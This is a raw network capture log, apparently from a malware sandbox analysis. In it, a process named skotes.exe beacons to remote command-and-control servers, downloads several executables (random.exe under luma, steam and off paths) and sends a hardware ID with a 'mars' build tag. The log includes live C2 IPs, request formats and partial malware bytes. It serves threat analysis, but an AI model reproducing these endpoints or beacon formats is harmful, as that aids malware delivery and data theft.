Nov 16, 2024 19:23:09.230822086 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 36 37 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 37 32 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 37 32 35 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 37 32 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1006723001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006724001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006725031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1006726001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50096	185.215.113.16	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:09.239325047 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 16, 2024 19:23:10.148792982 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:10 GMT Content-Type: application/octet-stream Content-Length: 1868800 Last-Modified: Sat, 16 Nov 2024 17:58:35 GMT Connection: keep-alive ETag: "6738dd4b-1c8400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 d0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4a 00 00 04 00 00 dc 57 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDI@JW@\p x@.rsrc @.idata @ *@isirfrxm/@xrbpauydI\@.taggant0I"b@
Nov 16, 2024 19:23:10.148823977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:10.148838043 CET	324	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:10.148931980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:10.148972988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:10.148987055 CET	1236	IN	Data Raw: 06 9d 67 93 f5 9c 27 55 13 13 95 85 1f 13 b6 d1 21 4a cf 9a e7 22 81 e1 cc 29 89 4a 54 a0 e0 9d 7b 01 0a 18 70 57 84 42 68 99 c1 d2 84 e7 f5 56 6b 68 df c7 a9 a2 f7 ce 86 82 19 fa a4 e8 11 26 28 c0 c1 8e bf 9d 29 5a f9 64 5b 89 8c 2a 91 ce 85 e2 Data Ascii: g'U!J")JT{pWBhVkh&()Zd[TD eWN'[WE4@F,\D\|7m-`}>j%k-rpJ5+<O~qIg~
Nov 16, 2024 19:23:10.149009943 CET	1236	IN	Data Raw: 9a a3 a8 91 09 27 81 73 8b ad 36 08 97 e1 b1 91 a4 9e 78 b2 8a af 70 05 ac 82 a4 2e 3c 57 8f 08 24 47 fe 85 da a7 ae 22 45 9f de 6d 37 23 8c d7 6d 9a 40 f2 ed 3b f4 90 67 bc 83 8c fe 27 25 09 13 92 ff b7 19 af b1 70 bb 9d 05 98 66 ab ed 27 9f ff Data Ascii: 's6xp.<W$G"Em7#m@;g'%pf'vQG/^Z\MTe{;\|-j4_\uO$(`]q'6>z'sKK^HrZzeEeTq$6[C
Nov 16, 2024 19:23:10.149029970 CET	1236	IN	Data Raw: a5 d6 39 bb 96 99 ab 73 85 cb b6 c2 cb a2 65 6c df c2 71 09 6e db 1a ab c4 b8 34 96 9a 59 3d ac 0b de 3d 92 9a 51 37 2a 94 7b 79 e4 8a d1 ba 4a 3a 29 78 06 7e 19 63 b3 da 6b 57 ae af 20 5e 29 12 bc 32 7c 8d a5 8c 42 66 a3 cd 61 8b a0 44 62 69 9b Data Ascii: 9selqn4Y==Q7{yJ:)x~ckW ^)2\|BfaDbi/yhi]ne:t2U!UTNZ`8y,z@b;st!ipq2XzysQx9^LNz\|<FxeMnYCqE{!d7NGi'Q
Nov 16, 2024 19:23:10.149044037 CET	1236	IN	Data Raw: 3a 2b bb c2 b3 99 6c 48 04 7e 0e e2 e8 7b 01 00 1c b7 a7 1a 5d d9 82 05 d3 b2 b1 c1 bd 57 fb 91 f6 be ed 66 23 b8 f5 54 44 19 7f 09 17 c5 b4 06 04 07 6a 2a 56 0e 1a 23 92 17 6e 6c 27 c3 dc 0c df 68 f7 96 92 7f 77 99 6b 16 69 c7 7d 7f 06 12 92 b9 Data Ascii: :+lH~{]Wf#TDj*V#nl'hwki}'33uqrUz$G(1f,AcYt5JrbRQ<``@qup$i.:>t>j-hp
Nov 16, 2024 19:23:10.149066925 CET	1236	IN	Data Raw: a6 27 ba 07 6c be 17 15 89 0f 3a 7f 06 e7 f3 d1 53 45 c6 76 8e 4b f7 84 fa 41 03 d5 1d 3c 7d 07 13 1b 28 11 a1 a3 08 0a fb e0 ca 42 6e 9c 63 52 a3 ba 8b 93 05 5b ad 23 c9 69 5f 82 cb d4 75 99 78 dd 6e b2 f7 a0 c4 94 f2 d5 5a b9 a1 82 7e 0c 51 b3 Data Ascii: 'l:SEvKA<}(BncR[#i_uxnZ~Q-/%]MGb/Uzc9=psUL}?-^:6CjXHpu./?Klp@b5^vpeA?GK\B)-
Nov 16, 2024 19:23:10.154134035 CET	1236	IN	Data Raw: 2e 41 22 88 51 d8 f6 19 e0 4c 72 59 91 2d ad 97 d2 ab 0b 84 aa 00 2d a3 d7 9c 8c 79 93 d7 49 fc 83 fd f1 80 fb ad ce 8e ba 99 ba 43 35 98 84 d5 c9 1d 99 0e 11 4b d1 17 a7 70 9c bb 94 72 29 c9 66 46 95 d6 be 3b 74 c7 c2 ba b0 92 ca 2a fc 81 e6 a5 Data Ascii: .A"QLrY--yIC5Kpr)fF;t*-2\D: #3FI{m313P,~,$[On@ntT nzGimN}l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50123	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:13.542171001 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 37 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006723001&unit=246122658369
Nov 16, 2024 19:23:14.444068909 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50125	185.215.113.16	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:14.452161074 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 16, 2024 19:23:15.360707998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:15 GMT Content-Type: application/octet-stream Content-Length: 1786368 Last-Modified: Sat, 16 Nov 2024 17:58:42 GMT Connection: keep-alive ETag: "6738dd52-1b4200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 08 f4 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$h@h@M$a$$ $b@.rsrc$r@.idata $t@ *$v@kisxtbuxNx@judtkvech@.taggant0h" @
Nov 16, 2024 19:23:15.360723972 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:15.360806942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:15.360831022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:15.360841036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:15.360892057 CET	1236	IN	Data Raw: 96 56 19 92 ef 74 b0 1a 8d c5 28 f4 08 ad f2 03 c3 e5 29 14 53 35 a6 97 ca 01 8a 6d 14 4a 2d 09 be 00 03 0d 58 b6 7a 91 42 7a 68 03 04 c9 1f bb ac e8 20 83 51 21 5a 1f 8c fa 43 32 51 c4 72 9d d9 46 02 b8 d2 b3 95 f9 23 65 6f 78 ac b7 d2 9e ba bd Data Ascii: Vt()S5mJ-XzBzh Q!ZC2QrF#eox,a?W5wHaKUu[Jxo&WS_=`M?OEpG=Et-X;O&+b(wQ(H.OQXBXndy[9v
Nov 16, 2024 19:23:15.360966921 CET	1236	IN	Data Raw: 30 d8 57 af 81 01 e2 98 3d 3e db 8d 0d 62 53 9f 4b bb 1e 88 70 37 ac 37 50 aa a8 4a 8b c3 21 7b 42 68 ea 6a 1a 69 5d 0d 53 e5 aa 1a 03 85 74 2c 00 8a a5 77 de 3e 4a 10 f9 8a a6 fb 8c a6 fa 98 6e c0 d9 a5 1f 7b 7d b1 37 b1 c2 c0 48 c0 16 3c 7d 12 Data Ascii: 0W=>bSKp77PJ!{Bhji]St,w>Jn{}7H<}+`r(&-WHZh}H>x),oCWz Iu<L$QdKcz6E)_<{9^\|@Zd<?fk5G5nGiUh \|
Nov 16, 2024 19:23:15.360976934 CET	1236	IN	Data Raw: 56 d5 2e 19 af 3e a3 2c 70 b9 b7 cf 61 7d b2 e8 47 3e c2 f7 8f 45 fd 19 fc 77 df 66 c7 5d b1 56 c1 4e 1d 98 27 79 2b ba c9 da af 1f 48 4b 3d d2 4b c3 c5 a3 64 3f f4 37 56 45 59 14 f0 bd e5 8d 5d 7e b2 97 00 4b b1 6b ca cd 12 c8 e9 52 e3 d1 2f 56 Data Ascii: V.>,pa}G>Ewf]VN'y+HK=Kd?7VEY]~KkR/Vca]eY@QM-R_GiDR:rwPHE)l-/VVQ-bUzVw=A1NO}CJ^Iae2h\GKid?jUpcIeb$Q
Nov 16, 2024 19:23:15.360987902 CET	1236	IN	Data Raw: 57 bf 25 45 cb 4e 5c 28 82 50 51 b9 9d 65 c7 b9 90 fd e3 a3 17 57 44 44 d0 bc 8a a4 d0 88 5d e0 55 2d 26 b2 1f bf e3 62 80 bc a9 d3 65 51 8c a1 27 c2 b3 4c c5 4b bb 13 7b 3d b7 db 81 61 2d b4 e6 57 bd 17 c7 4b b1 17 c8 99 e5 20 65 b7 aa 37 c4 4b Data Ascii: W%EN\(PQeWDD]U-&beQ'LK{=a-WK e7KY)_NkaIC\Y^gi]g]?HU]e)2F\TSR$K{H, ]_Kle{zfGKkVlXEz
Nov 16, 2024 19:23:15.360996008 CET	36	IN	Data Raw: c7 5d 89 eb 6b fb ac 2a a5 d5 a9 a5 eb 77 7d 1b 64 e5 c6 11 a4 ed 26 a6 07 85 12 e8 60 cf c8 13 2c 6a c5 99 Data Ascii: ]k*w}d&`,j
Nov 16, 2024 19:23:15.367021084 CET	1236	IN	Data Raw: 55 25 e4 a0 c3 7b 28 b1 37 6d c3 c5 81 75 c2 fa 67 88 c3 97 75 86 bd a5 00 c3 b3 e4 50 49 e5 3d 48 4b e9 d1 eb bd c5 ce 64 3f 78 f0 55 45 0d 18 e4 7a ca f1 c6 ad 25 a6 c7 56 79 1d 52 48 b3 d0 b3 cd e3 a5 df 45 bd 19 c8 32 ac 3b c7 cd 10 e0 e7 4e Data Ascii: U%{(7muguPI=HKd?xUEz%VyRHE2;NQ:9sGVaoU%]%c=5gh-glSw-'81NsHOYIY!O+EnVRAbvwEi$P{ai9XwQV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50128	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:18.669775009 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 37 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006724001&unit=246122658369
Nov 16, 2024 19:23:19.591195107 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50129	185.215.113.206	80	7792	C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:19.241941929 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 19:23:20.159923077 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:23:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:23:20.458535910 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 39 33 35 37 33 30 46 41 30 32 37 34 30 37 32 35 36 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"FD7935730FA02740725608------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"mars------KKFHJDAEHIEHJJKFBGDA--
Nov 16, 2024 19:23:20.745151997 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:23:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50130	185.215.113.16	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:19.745774031 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sat, 16 Nov 2024 17:58:42 GMT If-None-Match: "6738dd52-1b4200"
Nov 16, 2024 19:23:20.651432037 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:20 GMT Last-Modified: Sat, 16 Nov 2024 17:58:42 GMT Connection: keep-alive ETag: "6738dd52-1b4200"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50133	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:22.436901093 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 37 32 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006725031&unit=246122658369
Nov 16, 2024 19:23:23.330204964 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50134	185.215.113.16	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:23.344858885 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 16, 2024 19:23:24.264869928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:24 GMT Content-Type: application/octet-stream Content-Length: 2818048 Last-Modified: Sat, 16 Nov 2024 17:57:19 GMT Connection: keep-alive ETag: "6738dcff-2b0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +v+`Ui` @ @.rsrc`2@.idata 8@qfsyagsd*:@lgpdogkk @+@.taggant@`+"*@
Nov 16, 2024 19:23:24.264909983 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:24.264961958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:24.264997005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:24.265029907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:24.265063047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:24.265094995 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:24.265129089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:24.265161991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
